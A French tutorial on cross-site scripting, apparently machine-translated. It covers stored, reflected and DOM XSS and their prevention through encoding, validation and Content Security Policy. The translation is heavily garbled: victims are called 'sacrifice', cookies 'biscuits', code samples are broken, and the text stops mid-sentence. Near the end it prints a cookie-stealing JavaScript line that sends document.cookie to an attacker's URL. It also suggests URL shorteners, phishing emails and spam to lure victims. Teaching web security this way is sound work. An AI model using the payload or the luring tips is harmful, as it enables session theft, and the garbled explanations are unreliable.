Cross-site XSS Scripting. Utiliser des vulnérabilités XSS au maximum. Supprimer votre propre code

Et est un manuel complet sur les scripts croisés.

Partie 1: Vue d'ensemble

Qu'est-ce que XSS?

Scrips en attente ( anglais Script de site internet) - Il s'agit d'une attaque visant à mettre en œuvre un code qui permet à un attaquant d'effectuer un javascript malveillant dans un autre navigateur utilisateur.

L'attaquant n'attaque pas directement son sacrifice. Au lieu de cela, il utilise une vulnérabilité de site Web visitant la victime et implémente un code javascript malveillant. Dans le navigateur de la victime, JavaScript malveillant est affiché comme une partie légitime du site Web, et le site Web lui-même agit comme un complice d'attaque directe.

Mise en œuvre du code JavaScript malveillant

La seule façon d'attaquer le lancement d'un javascript malveillant dans le navigateur de victime est de le présenter à l'une des pages que la victime est téléchargée à partir du site Web. Ceci est possible si le site Web permet aux utilisateurs de saisir des données sur leurs pages et que l'attaquant sera en mesure d'insérer une chaîne qui sera déterminée dans le cadre du code du navigateur de la victime.

L'exemple ci-dessous montre un script de serveur simple utilisé pour afficher le dernier commentaire sur le site:

imprimer " "
Imprimer "Dernier commentaire:"
Imprimer la base de données.LateScommande
Imprimer ""

Le script suppose que le commentaire ne consiste que de texte. Cependant, depuis l'immédiat entrée personnaliséeL'attaquant peut quitter ce commentaire: "". Tout utilisateur qui a visité la page recevra maintenant la réponse suivante:


Dernier commentaire:

Lorsque le navigateur de l'utilisateur charge la page, il effectuera tout, y compris le code JavaScript contenu dans les balises. . Cela suggère que la présence simple du script mis en œuvre par l'attaquant est un problème, quel que soit lequel le code de script particulier est réellement exécuté.

Deuxième partie: Attaque XSS

XSS Attack Participants

Avant de décrire comment décrire en détail comment fonctionne l'attaque XSS, nous devons identifier les sujets de l'attaque XSS. En général, dans l'attaque XSS, il y a trois participants: site Internet, victime, JE. cambrioleur.

  • Site Internet Donne des pages HTML pour les utilisateurs qui leur ont demandé. Dans nos exemples, il est situé à http: // site web /.
    • Base de données de site Web C'est une base de données qui stocke certaines données saisies par les utilisateurs sur les pages du site.
  • Victime - c'est utilisateur normal Site Web qui demande des pages avec son navigateur.
  • Attaque - Ceci est un attaquant qui entend commencer une attaque pour la victime à l'aide de la vulnérabilité XSS sur le site.
    • Serveur de cambrioleur - Il s'agit d'un serveur Web sous le contrôle d'un attaquant avec le seul but - vol d'informations de victime confidentielles. Dans nos exemples, il est situé à http: // attaquant /.

Exemple d'attaque de scénario

Ce script créera une demande HTTP à une autre URL, qui redirigera le navigateur de l'utilisateur sur le serveur d'attaquant. L'URL comprend des cookies victimes en tant que paramètre de requête lorsqu'une requête HTTP appartient au serveur d'attaquant, un attaquant peut extraire ces cookies de la demande. Après que l'attaquant ait reçu des cookies, il peut les utiliser pour se donner pour le sacrifice et commencer une attaque ultérieure.

À partir de ce point sur le code HTML ci-dessus sera appelé chaîne malveillante ou alors script malveillant. Il est important de comprendre que la chaîne elle-même est malveillante uniquement si elle est finalement traitée en tant que code HTML dans le navigateur de la victime, ce qui peut se produire uniquement si la vulnérabilité XSS est disponible sur le site Web.

Comment cet exemple fonctionne-t-il

Le schéma ci-dessous montre un exemple d'attaque par un attaquant:

  1. L'attaquant utilise l'une des formes du site Web afin d'insérer une chaîne malveillante dans la base de données du site Web.
  2. La victime demande à la page du site Web.
  3. Le site inclut une chaîne malveillante de la base de données en réponse et l'envoie à la victime.
  4. Le navigateur de victime effectue un scénario malveillant dans la réponse, envoyant des victimes au serveur d'attaquant.

Types XSSS.

Le but de l'attaque XSS est toujours dû au malveillant Script javascript Dans le navigateur de la victime. Il existe plusieurs façons fondamentalement différentes d'atteindre cet objectif. Les attaques XSS sont souvent divisées en trois types:

  • Stocké (permanent) XSSoù la chaîne malveillante provient de la base de données du site Web.
  • Réfléchis (non permanent) XSSoù une chaîne malveillante est générée à partir de la demande de la victime.
  • XSS DOM ModèlesLorsque la vulnérabilité se produit dans le code du côté du client, et non sur le côté du code du serveur.

Dans l'exemple précédent, l'attaque XSS stockée est montrée. Maintenant, nous décrivons deux autres types d'attaques XSS: réfléchies à des modèles XSS et XSS-Attack Dom.

XSS réfléchi.

Dans le cas d'une attaque réfléchie XSS, une chaîne malveillante fait partie de la demande de la victime au site Web. Le site reçoit et insère cette chaîne malveillante à l'utilisateur envoyé à l'utilisateur. Le schéma ci-dessous illustre ce script:

  1. La victime envoie frauduleusement la demande d'URL au site Web.
  2. Le site inclut une chaîne malveillante de la requête URL en réponse à la victime.
  3. Le navigateur de la victime effectue un scénario malveillant contenu dans la réponse, envoyant des victimes au serveur Intruder.

Comment mener une attaque XSS réfléchie avec succès?

L'attaque réfléchie XSS peut sembler inoffensive, car elle nécessite la victime de son nom d'envoyer une demande contenant une chaîne malveillante. Puisque personne ne se attaquera volontairement, il semble qu'il n'y ait aucun moyen d'exécution réelle de l'attaque.

Comme il s'avère, il y a au moins deux manières courantes de faire le sacrifice pour démarrer une attaque réfléchie XSS contre elle-même:

  • Si l'utilisateur est une personnalité spécifique, un attaquant peut envoyer une URL malveillante à la victime (par exemple, à l'aide d'un courrier électronique ou d'une messagerie) et de tromper de la force à ouvrir un lien pour visiter le site Web.
  • Si l'objectif est un grand groupe d'utilisateurs, un attaquant peut publier un lien vers une URL malveillante (par exemple, sur son propre site Web ou dans réseau social) Et attendez les visiteurs qui ira sur le lien.

Ces deux méthodes sont similaires, et les deux peuvent être plus efficaces en utilisant des services pour "raccourcir" l'URL, ils dissimulent la chaîne malveillante des utilisateurs qui pourraient l'identifier.

XSS dans le modèle DOM

XSS dans le modèle DOM est une option en tant qu'attaque XSS stockée et réfléchie. Dans cette attaque XSS, la chaîne malveillante n'est pas traitée par le navigateur de la victime, jusqu'à ce que le vrai JavaScript du site Web soit exécuté. Le schéma ci-dessous illustre ce script pour les attaques de XSS réfléchies:

  1. L'attaquant crée une URL contenant une chaîne malveillante et l'envoie à la victime.
  2. La victime est frauduleuse par l'attaquant envoie la demande d'URL au site Web.
  3. Le site reçoit une demande, mais n'inclut pas une chaîne malveillante en réponse.
  4. Le navigateur de la victime effectue un scénario légitime contenu dans la réponse, entraînant script malveillant sera inséré dans la page.
  5. Le navigateur de la victime effectue un script malveillant inséré dans la page, envoyant les cookies de la victime au serveur Intruder.
Quelle est la différence entre XSS dans le modèle DOM?

Dans des exemples précédents d'attaques XSS stockées et réfléchies, le serveur insère un script malveillant vers la page, qui est ensuite envoyé en réponse à la victime. Lorsque le navigateur de la victime a reçu une réponse, il suppose que le script malveillant fait partie du contenu légitime de la page et l'effectue automatiquement pendant le chargement de la page, ainsi que tout autre scénario.

Dans l'exemple d'attaques XSS dans le modèle DOM, le script malveillant n'est pas inséré dans le cadre de la page; Le seul script qui est automatiquement exécuté pendant la charge de la page est une partie légitime de la page. Le problème est que ce scénario légitime utilise directement l'entrée utilisateur afin d'ajouter HTML à la page. Étant donné que la chaîne malveillante est insérée dans la page à l'aide de InnerHTML, elle est analysée en tant que HTML, à la suite de laquelle le script nocif sera effectué.

Cette distinction est petite, mais très importante:

  • Dans XSS traditionnels, JavaScript malveillant est effectué lorsque la page est chargée, dans le cadre du HTML envoyé par le serveur.
  • Dans le cas de XSS dans le modèle DOM, JavaScript malveillant est effectué après avoir chargé la page, par conséquent, cette page avec un mode JavaScript légitime est appelé moyen peu sûr de l'entrée de l'utilisateur (contenant une chaîne malveillante).
Comment fonctionne XSS dans le modèle DOM?

Dans l'exemple précédent, il n'y a pas besoin de JavaScript; Le serveur peut générer tout HTML en soi. Si le code du côté serveur ne contient pas de vulnérabilités, le site Web ne serait pas soumis aux vulnérabilités XSS.

Cependant, étant donné que les applications Web deviennent de plus en plus avancées, une quantité croissante de pages HTML est générée à l'aide de JavaScript du côté client et non sur le serveur. À tout moment, le contenu doit changer sans mettre à jour la page entière, il est possible d'utiliser JavaScript. En particulier, c'est le cas lorsque la page est mise à jour après la requête Ajax.

Cela signifie que les vulnérabilités XSS peuvent être présentes non seulement dans la partie serveur du code de votre site, mais également sur le côté du code JavaScript du client de votre site. Par conséquent, même avec un code entièrement sécurisé du côté serveur, le code client peut toujours être activé en toute sécurité pour entrer les données utilisateur lors de la mise à jour du DOM après le téléchargement de la page. Si cela se produit, le code du client permettra à l'attaque XSS n'est pas le défaut du code du côté serveur.

XSS basé sur le modèle DOM peut être invisible pour le serveur

Il existe un cas particulier d'attaques XSS dans un modèle DOM dans lequel une chaîne malveillante n'est jamais envoyée au serveur de site Web: cela se produit lorsque la chaîne malveillante est contenue dans le fragment de l'identificateur d'URL (quelque chose après le numéro de symbole). Les navigateurs n'envoient pas cette partie de l'URL au serveur. Le site Web n'aura donc pas accès à l'aide du code du côté serveur. Cependant, le code du client lui a accès et il est donc possible de mener une attaque XSS par un traitement dangereux.

Ce cas ne se limite pas à l'identifiant de fragments. Il existe également une autre entrée utilisateur invisible pour le serveur, par exemple, de nouvelles fonctions HTML5, telles que localStorage et indexeddB.

Partie trois:
Prévention XSS

Méthodes de prévention XSS

Rappelez-vous que le XSS est une attaque du type de déploiement de code: l'utilisateur entré par l'utilisateur est interprété par erreur comme code de programme malveillant. Afin d'éviter ce type d'injection de code, un traitement d'entrée sécurisé est requis. Pour un développeur Web, il y a deux fondamentalement diverses méthodes Effectuer un traitement de saisie sécurisé:

  • Codage - Ceci est un moyen qui vous permet d'entrer des données par l'utilisateur uniquement en tant que données et ne permet pas le traitement du navigateur en tant que code.
  • Validation - Cette méthode filtre l'entrée de l'utilisateur afin que le navigateur l'interprète comme un code sans commandes malveillantes.

Bien que ce soit des méthodes fondamentalement différentes de prévention des XSS, elles ont plusieurs traits généraux qui sont importants pour la compréhension lors de l'utilisation de l'un d'entre eux:

Le traitement de l'entrée sécurisé de contexte doit être effectué différemment en fonction de l'utilisation de l'entrée de l'utilisateur sur la page. Le traitement de saisie sécurisé entrant / sortant peut être effectué lorsque votre site reçoit des données d'entrée (trafic entrant) ou directement avant que le site n'ensera une entrée personnalisée dans le contenu de la page (sortant). Le traitement de l'entrée sécurisé client / serveur peut être effectué sur le côté du client ou sur le côté serveur, chaque option est nécessaire dans différentes circonstances.

Avant d'expliquer les détails de la manière dont les œuvres de codage et de validation, nous décrivons chacun de ces éléments.

Traitement de l'utilisateur utilisateur dans des contextes

Il existe de nombreux contextes sur une page Web où une entrée personnalisée peut être appliquée. Des règles spéciales doivent être respectées pour chacune d'elles afin que l'entrée de l'utilisateur ne puisse pas "éclater" de son contexte et ne pouvait pas être interprétée comme un code malveillant. Vous trouverez ci-dessous les contextes les plus courants:

Quel est le sens des contextes?

Dans tous les contextes décrits, la vulnérabilité menant à XSS peut se produire si l'utilisateur saisi par l'utilisateur a été inséré dans le premier codage ou validation. Un attaquant peut introduire un code malveillant simplement insérant un séparateur de fermeture pour ce contexte et après son code malveillant.

Par exemple, si, à un moment donné, le site Web inclut la saisie des données par l'utilisateur directement dans l'attribut HTML, l'attaquant pourra mettre en place un script malveillant en démarrant son apport de devis, comme indiqué ci-dessous:

Cela pourrait être empêché, en supprimant simplement toutes les citations de l'utilisateur, et tout irait bien, mais seulement dans ce contexte. Si l'entrée a été insérée dans un autre contexte, le séparateur de fermeture diffère et l'injection deviendra possible. Pour cette raison, le traitement de l'entrée sécurisé doit toujours être adapté au contexte où l'entrée de l'utilisateur sera insérée.

Traitement entrant / entrant entrant / sortant

Instinctive, il peut sembler que des XSS puissent être empêchés de coder ou de valider toute la saisie de l'utilisateur, dès que notre site le reçoit. Ainsi, toutes les lignes malveillantes seront déjà neutralisées chaque fois qu'elles sont incluses dans la page, et les scripts de génération HTML ne doivent pas nécessairement s'occuper du traitement sécurisé de l'entrée de l'utilisateur.

Le problème est que tel que décrit précédemment par l'utilisateur entré par l'utilisateur peut être inséré dans plusieurs contextes de la page. Et non façon simple Déterminez lorsque la saisie de l'utilisateur est entrée dans le contexte - car elle sera éventuellement insérée, et la même entrée utilisateur doit souvent être insérée dans différents contextes. S'appuyant sur le traitement de l'entrée entrante pour prévenir les XSS, nous créons une solution très fragile qui sera soumise à des erreurs. (Outdated "Citations magiques" PHP sont un exemple d'une telle solution.)

Au lieu de cela, le traitement de l'entrée sortante doit être votre ligne de protection principale de XSS, car elle peut prendre en compte le contexte spécifique, lequel l'utilisateur saisi par l'utilisateur sera inséré. Dans une certaine mesure, la validation entrante peut être utilisée pour ajouter une couche de protection secondaire, mais cela plus tard.

Où il est possible d'effectuer un traitement de saisie de l'utilisateur sécurisé

Dans la plupart des applications Web modernes, la saisie de l'utilisateur est traitée à la fois sur le côté du code serveur et sur le côté du code client. Afin de protéger contre tous les types de XSS, le traitement de l'entrée sécurisé doit être exécuté à la fois dans le code du côté serveur et du côté du code client.

  • Afin de protéger contre les XSS traditionnels, le traitement de l'entrée sécurisé doit être effectué dans le code du côté serveur. Ceci est fait avec une langue prise en charge par le serveur.
  • Afin de protéger contre l'attaque XSS dans le modèle DOM, où le serveur ne reçoit jamais une chaîne malveillante (par exemple, l'attaque précédemment décrite via le fragment d'identifiant), le traitement de l'entrée sécurisé doit être effectué dans le code du côté du client. Ceci est fait avec JavaScript.

Maintenant, lorsque nous avons expliqué pourquoi le contexte compte, pourquoi la différence entre le traitement des intrants entrant et sortant est importante et pourquoi la sécurité de l'entrée sécurisée doit être effectuée des deux côtés et du côté du client et du côté serveur, nous pouvons continuer à expliquer Comment les deux types de traitement d'entrée sécurisé (codage et validation) sont réellement effectués.

Codage

Le codage est un moyen de sortir de la situation lorsqu'il est nécessaire que le navigateur d'entrée de l'utilisateur interprète uniquement en tant que données, et non de code. Le type de codage le plus populaire dans le développement Web est le masquage HTML qui convertit des caractères tels que < et > dans < et > respectivement.

Le pseudocode suivant est un exemple de la manière dont l'utilisateur saisi par l'utilisateur (Entrée personnalisée) peut être codé à l'aide du masquage HTML, puis inséré sur la page à l'aide du scénario du serveur:

imprimer " "
Imprimer "Dernier commentaire:"
Imprimer Encodehtml (UserInput)
Imprimer ""

Si l'utilisateur entre dans la ligne suivante Le HTML résultant ressemblera à ceci:


Dernier commentaire:

Étant donné que tous les symboles avec des valeurs spéciales ont été déguisés, le navigateur ne démontera aucune partie de l'entrée de l'utilisateur en tant que HTML.

Code de codage sur le côté client et le serveur

Lorsque vous codez sur le code de code du client, une langue javascript est toujours utilisée, qui comporte des fonctions intégrées qui codent des données pour différents contextes.

Lorsque vous effectuez un codage de votre code sur le côté serveur, vous vous appelez sur les fonctionnalités disponibles dans votre langue ou votre framework. à cause de grand nombre Langues et cadres disponibles donnés didacticiel Il ne couvrira pas les détails de codage dans un serveur ou un cadre particulier. Néanmoins, les fonctions de codage JavaScript utilisés sur le côté client sont également utilisées lors de l'écriture du code du côté serveur.

Codage du côté du client

Lors de l'encodage d'une entrée client personnalisée à l'aide de JavaScript, il existe plusieurs méthodes et propriétés intégrées qui codent automatiquement toutes les données dans un style dépendant du contextuel:

Le dernier contexte déjà mentionné ci-dessus (valeurs de JavaScript) n'est pas inclus dans cette liste, car JavaScript ne fournit pas de méthode de codage de données intégrée, qui sera activée dans le code source JavaScript.

Restrictions de codage

Même lors de l'encodage, il est possible d'utiliser des lignes malveillantes dans certains contextes. Un exemple lumineux en est lorsque la saisie de l'utilisateur est utilisée pour fournir l'URL, par exemple, dans l'exemple ci-dessous:

document.QuerySelector ("a"). Href \u003d userinput

Bien que la valeur spécifiée dans la propriété d'élément HREF le code automatiquement de sorte qu'elle ne devient pas plus que la valeur d'attribut, celle-ci n'interfère pas avec l'attaquant Insérer une URL à partir de "JavaScript:". Lorsque vous cliquez sur le lien, quelle que soit la construction, le JavaScript intégré à l'intérieur de l'URL sera exécuté.

Le codage n'est également pas une solution efficace lorsque vous souhaitez que les utilisateurs utilisent une partie des codes HTML sur la page. Un exemple est la page de profil de l'utilisateur, où l'utilisateur peut utiliser l'utilisateur HTML. Si ce HTML habituel est codé, la page de profil ne sera en mesure que du texte simple.

Dans de telles situations, le codage doit être complété par la validation avec laquelle nous allons apprendre à connaître davantage.

Validation

La validation est un acte de filtrage de l'entrée de l'utilisateur afin que toutes les pièces malveillantes soient supprimées sans la nécessité de supprimer tout le code. L'un des types de vérification les plus utilisés dans le développement Web vous permet d'utiliser des éléments HTML (par exemple, et ) Mais l'inverse d'autres (par exemple,

Avec une stratégie CSP correctement spécifique, le navigateur ne peut pas télécharger et exécuter des scripts malveillants.js car http: // attaquant / non spécifié comme source fiable. Même si le site n'a pas réussi à traiter en toute sécurité l'entrée de l'utilisateur dans ce cas, la politique du SCSP a empêché la vulnérabilité et provoque des préjudice.

Même si l'attaquant injecté par le code dans le code du scénario, et non par référence au fichier externe, la stratégie CSP correctement configurée désactivera également l'injection dans le code JavaScript empêchant la vulnérabilité et entraînant tout problème.

Comment activer le CSP?

Par défaut, les navigateurs n'utilisent pas de CSP. Pour activer SCP sur votre site Web, les pages doivent contenir un en-tête HTTP supplémentaire: Politique de sécurité de contenu. Toute page contenant ce titre appliquera des stratégies de sécurité tout en démarrant un navigateur, à condition que le navigateur prend en charge le CSP.

Étant donné que la stratégie de sécurité est envoyée avec chaque réponse HTTP, il est possible d'installer individuellement une stratégie sur le serveur individuellement pour chaque page. La même politique peut être appliquée sur l'ensemble du site Web, insérant le même en-tête CSP dans chaque réponse.

Le contenu de l'en-tête Content-Security-Policy contient une chaîne définissant une ou plusieurs stratégies de sécurité qui fonctionneront sur votre site. La syntaxe de cette chaîne sera décrite ci-dessous.

Exemples d'en-têtes Cette section utilise le transfert de lignes et de retenues pour la simplicité de la perception; Ils ne doivent pas être présents dans l'en-tête actuel.

Syntaxe csp

La syntaxe de l'en-tête CSP ressemble à ceci:

Contenu-Security-Politique:
directif expression source, expression source, ...;
directif ...;
...

Cette syntaxe se compose de deux éléments:

  • Directives (directives) Présentation des lignes indiquant le type de ressource extrait de la liste spécifiée.
  • Expressions source Il s'agit d'un modèle décrivant un ou plusieurs serveurs d'où les ressources peuvent être téléchargées.

Pour chaque directive, les données de l'expression source déterminent quelles sources peuvent être utilisées pour charger les ressources du type approprié.

Directif

Les directives suivantes peuvent être utilisées dans l'en-tête CSP:

  • connect-src.
  • fONT-SRC.
  • cadre-src.
  • img-src.
  • media-src.
  • objet-src.
  • script-src.
  • style-src.

En outre, la directive spéciale par défaut-SRC peut être utilisée pour assurer la valeur par défaut pour toutes les directives non incluses dans le titre.

Expression de la source

La syntaxe pour créer une expression de la source est la suivante:

protocole: // Nom de l'hôte: numéro de port

Le nom d'hôte peut commencer par *, cela signifie que tout sous-domaine du nom d'hôte fourni sera résolu. De même, le numéro de port peut être représenté comme *, cela signifie que tous les ports seront résolus. De plus, le protocole et le numéro de port peuvent être manqués. Si le protocole n'est pas spécifié, la stratégie nécessitera que toutes les ressources soient chargées à l'aide de HTTPS.

En plus de la syntaxe ci-dessus, l'expression de la source peut être l'une des quatre comme une alternative mots clés Avec une valeur spéciale (citations sont incluses):

"Aucun" interdit les ressources. "Self" permet aux ressources de l'hôte sur lequel se trouve la page Web. "insectif-inline" permet aux ressources contenues sur la page comme intégré

En quelque sorte pas très effrayant :) Qu'est-ce qui peut vraiment être dangereux cette vulnérabilité?

Passif et actif

Il existe deux types de vulnérabilités XSS - passif et actif.

Vulnérabilité active Plus dangereux, comme un attaquant n'a pas besoin d'attirer le sacrifice sur un lien spécial, il suffit à lui de mettre en œuvre le code dans la base ou dans un fichier sur le serveur. Ainsi, tous les visiteurs du site deviennent automatiquement des victimes. Il peut être intégré, par exemple, en incorporant le code SQL (injection SQL). Par conséquent, vous ne devez pas faire confiance aux données stockées dans la base de données, même si dans l'insert, ils ont été traités.

Exemple vulnérabilité passive Vous pouvez voir au tout début de l'article. Il existe déjà des ingénieurs sociaux, par exemple, une lettre importante de l'administration du site vous demandant de vérifier les paramètres de votre compte, après la récupération de la sauvegarde. En conséquence, vous devez connaître l'adresse de la victime ou simplement organiser une lettre d'information sur le spam ou placer un poste sur un forum, et pas encore le fait que les victimes soient naïves et vont à votre lien.

De plus, des vulnérabilités passives peuvent être soumises à la fois au poste et à obtenir des paramètres. Avec des paramètres post-paramètres, il sera compris, vous devrez faire des astuces. Par exemple, la redirection du site intrus.

">

Par conséquent, la vulnérabilité d'obtenir est un peu plus dangereuse, car La victime est plus facile de remarquer le mauvais domaine que le paramètre supplémentaire (bien que l'URL puisse être codée du tout).

Biscuits

C'est l'exemple le plus fréquemment cité des attaques XSS. Dans les sites de cookies stocker parfois toutes les informations précieuses (parfois même la connexion et le mot de passe (ou son hachage) de l'utilisateur), mais le plus dangereux est le vol d'une session active, alors n'oubliez pas d'appuyer sur le lien "Quitter" sur les sites, même si cela ordinateur de famille. Heureusement, dans la plupart des ressources, la durée de vie de la session est limitée.

var іmg \u003d nouvelle image (); Іmg.sps \u003d "http: //site/xss.php?" + document.cookie;

Par conséquent, les restrictions de domaine sur XMLHTTPRequest, mais l'attaquant n'est pas effrayant car il y a